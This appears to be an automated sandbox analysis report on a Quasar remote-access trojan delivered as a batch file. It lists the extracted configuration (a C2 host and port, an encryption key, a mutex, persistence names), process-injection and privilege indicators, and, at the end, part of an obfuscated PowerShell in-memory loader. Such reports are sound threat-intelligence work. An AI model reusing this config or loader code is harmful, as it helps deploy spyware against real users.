quasar | 3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

Analysis

max time kernel
300s
max time network
299s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
28-05-2024 13:42

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Report Analysis Logs

General

Target

New1.bat
Size

1002KB
MD5

f6d5bfaee8a55ff72c7b453fda066d62
SHA1

7d737d53013990e5d05076b7206e43eb4793fc7f
SHA256

3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308
SHA512

e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284
SSDEEP

12288:NzPPeJOTZMGuIl99I2FxGwvYXDSeengmfn5tKvy0H5JbcGfRZIJZ32hxnQxCGaF9:NDeYum99IGP8f2rRO5JFPIJZ8GaF8XmB

Score

10^/10

quasar video execution spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Extracted

Family

quasar

Version

3.1.5

Botnet

Video

runderscore00-25501.portmap.host:25501

Mutex

$Sxr-oWTh3ZS9htfe80iIl5

Attributes

encryption_key
zK8u0rpHf4TJzGf65Flt
install_name
Win11.exe
log_directory
$sxr-Logs
reconnect_delay
3000
startup_key
Windows 11 Boot
subdirectory
Win11

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 4 IoCs

Processes:

resource	yara_rule
behavioral3/memory/3068-22-0x0000000007EA0000-0x0000000007F92000-memory.dmp	family_quasar
behavioral3/memory/2296-78-0x0000000008BD0000-0x0000000008C3C000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Local\Temp\New.exe	family_quasar
behavioral3/memory/3372-97-0x0000000000670000-0x00000000006DC000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 3064 created 608 3064 powershell.EXE winlogon.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

4 2296 powershell.exe
5 2296 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

3068 powershell.exe
4740 powershell.exe
2296 powershell.exe

description	pid	process	target process
PID 3064 created 608	3064	powershell.EXE	winlogon.exe

flow	pid	process
4	2296	powershell.exe
5	2296	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 2 IoCs

Processes:

Install.exeNew.exe

pid process

1536 Install.exe
3372 New.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com

pid	process
1536	Install.exe
3372	New.exe

flow	ioc
1	ip-api.com

Drops file in System32 directory 13 IoCs

Processes:

svchost.exesvchost.exeOfficeClickToRun.exepowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	OfficeClickToRun.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 3064 set thread context of 3604 3064 powershell.EXE dllhost.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	pid	process	target process
PID 3064 set thread context of 3604	3064	powershell.EXE	dllhost.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

SCHTASKS.exe

pid process

2584 SCHTASKS.exe

pid	process
2584	SCHTASKS.exe

Modifies data under HKEY_USERS 53 IoCs

Processes:

OfficeClickToRun.exepowershell.EXEsvchost.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE

Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exe

pid	process
3068	powershell.exe
3068	powershell.exe
4740	powershell.exe
4740	powershell.exe
2296	powershell.exe
2296	powershell.exe
3064	powershell.EXE
3064	powershell.EXE
3064	powershell.EXE
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
2296	powershell.exe
3604	dllhost.exe
3604	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeIncreaseQuotaPrivilege	4740	powershell.exe
Token: SeSecurityPrivilege	4740	powershell.exe
Token: SeTakeOwnershipPrivilege	4740	powershell.exe
Token: SeLoadDriverPrivilege	4740	powershell.exe
Token: SeSystemProfilePrivilege	4740	powershell.exe
Token: SeSystemtimePrivilege	4740	powershell.exe
Token: SeProfSingleProcessPrivilege	4740	powershell.exe
Token: SeIncBasePriorityPrivilege	4740	powershell.exe
Token: SeCreatePagefilePrivilege	4740	powershell.exe
Token: SeBackupPrivilege	4740	powershell.exe
Token: SeRestorePrivilege	4740	powershell.exe
Token: SeShutdownPrivilege	4740	powershell.exe
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeSystemEnvironmentPrivilege	4740	powershell.exe
Token: SeRemoteShutdownPrivilege	4740	powershell.exe
Token: SeUndockPrivilege	4740	powershell.exe
Token: SeManageVolumePrivilege	4740	powershell.exe
Token: 33	4740	powershell.exe
Token: 34	4740	powershell.exe
Token: 35	4740	powershell.exe
Token: 36	4740	powershell.exe
Token: SeIncreaseQuotaPrivilege	4740	powershell.exe
Token: SeSecurityPrivilege	4740	powershell.exe
Token: SeTakeOwnershipPrivilege	4740	powershell.exe
Token: SeLoadDriverPrivilege	4740	powershell.exe
Token: SeSystemProfilePrivilege	4740	powershell.exe
Token: SeSystemtimePrivilege	4740	powershell.exe
Token: SeProfSingleProcessPrivilege	4740	powershell.exe
Token: SeIncBasePriorityPrivilege	4740	powershell.exe
Token: SeCreatePagefilePrivilege	4740	powershell.exe
Token: SeBackupPrivilege	4740	powershell.exe
Token: SeRestorePrivilege	4740	powershell.exe
Token: SeShutdownPrivilege	4740	powershell.exe
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeSystemEnvironmentPrivilege	4740	powershell.exe
Token: SeRemoteShutdownPrivilege	4740	powershell.exe
Token: SeUndockPrivilege	4740	powershell.exe
Token: SeManageVolumePrivilege	4740	powershell.exe
Token: 33	4740	powershell.exe
Token: 34	4740	powershell.exe
Token: 35	4740	powershell.exe
Token: 36	4740	powershell.exe
Token: SeIncreaseQuotaPrivilege	4740	powershell.exe
Token: SeSecurityPrivilege	4740	powershell.exe
Token: SeTakeOwnershipPrivilege	4740	powershell.exe
Token: SeLoadDriverPrivilege	4740	powershell.exe
Token: SeSystemProfilePrivilege	4740	powershell.exe
Token: SeSystemtimePrivilege	4740	powershell.exe
Token: SeProfSingleProcessPrivilege	4740	powershell.exe
Token: SeIncBasePriorityPrivilege	4740	powershell.exe
Token: SeCreatePagefilePrivilege	4740	powershell.exe
Token: SeBackupPrivilege	4740	powershell.exe
Token: SeRestorePrivilege	4740	powershell.exe
Token: SeShutdownPrivilege	4740	powershell.exe
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeSystemEnvironmentPrivilege	4740	powershell.exe
Token: SeRemoteShutdownPrivilege	4740	powershell.exe
Token: SeUndockPrivilege	4740	powershell.exe
Token: SeManageVolumePrivilege	4740	powershell.exe
Token: 33	4740	powershell.exe
Token: 34	4740	powershell.exe
Token: 35	4740	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

2296 powershell.exe

pid	process
2296	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exeWScript.execmd.exepowershell.exeNew.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 1284 wrote to memory of 3068	1284	cmd.exe	powershell.exe
PID 1284 wrote to memory of 3068	1284	cmd.exe	powershell.exe
PID 1284 wrote to memory of 3068	1284	cmd.exe	powershell.exe
PID 3068 wrote to memory of 4740	3068	powershell.exe	powershell.exe
PID 3068 wrote to memory of 4740	3068	powershell.exe	powershell.exe
PID 3068 wrote to memory of 4740	3068	powershell.exe	powershell.exe
PID 3068 wrote to memory of 4476	3068	powershell.exe	WScript.exe
PID 3068 wrote to memory of 4476	3068	powershell.exe	WScript.exe
PID 3068 wrote to memory of 4476	3068	powershell.exe	WScript.exe
PID 4476 wrote to memory of 4512	4476	WScript.exe	cmd.exe
PID 4476 wrote to memory of 4512	4476	WScript.exe	cmd.exe
PID 4476 wrote to memory of 4512	4476	WScript.exe	cmd.exe
PID 4512 wrote to memory of 2296	4512	cmd.exe	powershell.exe
PID 4512 wrote to memory of 2296	4512	cmd.exe	powershell.exe
PID 4512 wrote to memory of 2296	4512	cmd.exe	powershell.exe
PID 2296 wrote to memory of 3372	2296	powershell.exe	New.exe
PID 2296 wrote to memory of 3372	2296	powershell.exe	New.exe
PID 2296 wrote to memory of 3372	2296	powershell.exe	New.exe
PID 2296 wrote to memory of 1536	2296	powershell.exe	Install.exe
PID 2296 wrote to memory of 1536	2296	powershell.exe	Install.exe
PID 2296 wrote to memory of 1536	2296	powershell.exe	Install.exe
PID 3372 wrote to memory of 2584	3372	New.exe	SCHTASKS.exe
PID 3372 wrote to memory of 2584	3372	New.exe	SCHTASKS.exe
PID 3372 wrote to memory of 2584	3372	New.exe	SCHTASKS.exe
PID 3064 wrote to memory of 3604	3064	powershell.EXE	dllhost.exe
PID 3064 wrote to memory of 3604	3064	powershell.EXE	dllhost.exe
PID 3064 wrote to memory of 3604	3064	powershell.EXE	dllhost.exe
PID 3064 wrote to memory of 3604	3064	powershell.EXE	dllhost.exe
PID 3064 wrote to memory of 3604	3064	powershell.EXE	dllhost.exe
PID 3064 wrote to memory of 3604	3064	powershell.EXE	dllhost.exe
PID 3064 wrote to memory of 3604	3064	powershell.EXE	dllhost.exe
PID 3064 wrote to memory of 3604	3064	powershell.EXE	dllhost.exe
PID 3604 wrote to memory of 608	3604	dllhost.exe	winlogon.exe
PID 3604 wrote to memory of 688	3604	dllhost.exe	lsass.exe
PID 3604 wrote to memory of 980	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 428	3604	dllhost.exe	dwm.exe
PID 3604 wrote to memory of 536	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 452	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 1060	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 1152	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 1164	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 1212	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 1228	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 1276	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 1400	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 1408	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 1424	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 1540	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 1560	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 1688	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 1740	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 1756	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 1852	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 1880	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 2036	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 1052	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 1980	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 2056	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 2192	3604	dllhost.exe	spoolsv.exe
PID 3604 wrote to memory of 2256	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 2368	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 2476	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 2484	3604	dllhost.exe	svchost.exe
PID 3604 wrote to memory of 2516	3604	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:608
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:428
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{0bb5f436-8c37-4ade-8692-24966002046b}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3604

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:536

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:452

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:FpmwzPbdRTLf{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$UxxHIXqKlKvLNe,[Parameter(Position=1)][Type]$HMAPnyiZYZ)$bXLIKjZwRjK=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+'ct'+'e'+'d'+'D'+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+'e'+'m'+[Char](111)+'r'+'y'+''+'M'+''+[Char](111)+'du'+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+'e'+'l'+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+'e'+''+'T'+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+'l'+[Char](105)+''+'c'+''+','+''+[Char](83)+'ea'+[Char](108)+'e'+'d'+','+[Char](65)+''+[Char](110)+''+[Char](115)+''+'i'+''+'C'+'l'+'a'+''+'s'+'s,'+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+'C'+[Char](108)+'a'+'s'+''+[Char](115)+'',[MulticastDelegate]);$bXLIKjZwRjK.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+[Char](112)+''+'e'+''+'c'+''+[Char](105)+'a'+'l'+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+','+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+''+'S'+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](80)+'u'+'b'+''+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$UxxHIXqKlKvLNe).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+[Char](97)+'ge'+[Char](100)+'');$bXLIKjZwRjK.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+'k'+''+[Char](101)+'',''+[Char](80)+'u'+'b'+''+'l'+'i'+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+'Si'+'g'+''+[Char](44)+''+'N'+''+'e'+''+'w'+''+[Char](83)+'l'+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+'i'+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$HMAPnyiZYZ,$UxxHIXqKlKvLNe).SetImplementationFlags('Ru'+'n'+''+[Char](116)+''+'i'+''+'m'+''+[Char](101)+''+','+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $bXLIKjZwRjK.CreateType();}$GsZkCtLSrPrCE=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+'m'+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+[Char](114)+''+[Char](111)+'s'+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+'W'+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+'sa'+[Char](102)+'e'+'N'+''+'a'+''+[Char](116)+''+[Char](105)+'v'+[Char](101)+'M'+[Char](101)+''+'t'+''+[Char](104)+''+'o'+''+[Char](100)+'s');$vVenWBpPqfqohx=$GsZkCtLSrPrCE.GetMethod('Ge'+'t'+'P'+'r'+''+'o'+''+[Char](99)+'A'+[Char](100)+'d'+'r'+''+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+','+'S'+''+'t'+''+'a'+''+[Char](116)+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$lPLEcpNiAXKbQSDkmSj=FpmwzPbdRTLf 